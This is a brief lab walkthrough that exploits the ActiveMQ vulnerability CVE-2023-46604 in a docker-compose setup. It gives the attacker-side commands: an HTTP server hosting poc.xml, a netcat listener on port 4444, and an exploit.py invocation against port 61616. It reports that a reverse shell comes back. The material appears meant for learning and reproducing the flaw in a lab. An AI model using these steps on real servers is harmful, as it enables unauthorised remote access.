CVE-2023-46604

CVE-2023-46604

Set up docker-compose containing 2 images: the victim machine and the target machine according to the required environment. On the victim machine, start ActiveMQ

Switch to the attacker machine: • Open an HTTP service to send the PoC: python3 -m http.server

• Use netcat to listen for connections to the attacker machine nc -nlvp 4444

• Send a payload to create a reverse shell connection to the attacker machine python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml Where:

• Exploit.py: the exploit code file
• -I 172.18.0.3: IP address of the machine sending the payload
• -p 61616: Port on which the victim's ActiveMQ is listening
• --xml http://172.18.0.2:8000/poc.xml: URL path of the poc.xml file on the attacker machine

It can be seen that after executing the 'exploit.py' file, the exploit code sends a 'poc.xml' packet from the web server to the target, which is the address of the ActiveMQ service running on the target server. At the same time, the HTTP web server on the attacker machine also receives a request sent from the IP address of the target machine.

After sending the payload, switch to the terminal listening on port 4444 of the attacker machine. We see that the victim machine's reverse shell has been sent back.